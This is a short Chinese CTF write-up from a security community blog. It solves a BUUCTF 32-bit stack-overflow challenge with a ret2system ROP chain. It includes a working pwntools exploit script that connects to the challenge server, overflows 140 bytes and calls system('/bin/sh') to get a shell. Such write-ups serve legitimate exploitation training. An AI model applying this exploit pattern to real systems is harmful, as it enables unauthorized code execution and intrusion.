32 位 ROP!!!

32 位 ROP

话不多说,直接上题(BUUCTF)

32 位 ROP!!!-侠者安全社区

32位 IDA 反编译

32 位 ROP!!!-侠者安全社区

啊哈,一眼存在栈溢出

32 位 ROP!!!-侠者安全社区

查看内存需 140 个字节覆盖

32 位 ROP!!!-侠者安全社区

Shift + F12 查看字符串,有可利用函数与字符串,构造 ROP

32 位 ROP!!!-侠者安全社区

在 plt 表中拿到 system 地址

32 位 ROP!!!-侠者安全社区

32 位中调用 system 函数时需要传入一个将来的返回地址,这个返回地址随意,但必须要有,返回地址后面则是参数

from pwn import *

p = remote('node5.buuoj.cn',29920)

binsh = 0x0804a024
system = 0x08048320

p.recvuntil('Input:\n')

payload = b'a' * 140 + p32(system) + p32(0) + p32(binsh)

p.sendline(payload)
p.interactive()

成功拿到 flag

 

© 版权声明
THE END
喜欢就支持一下吧
点赞7 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情快捷回复

    暂无评论内容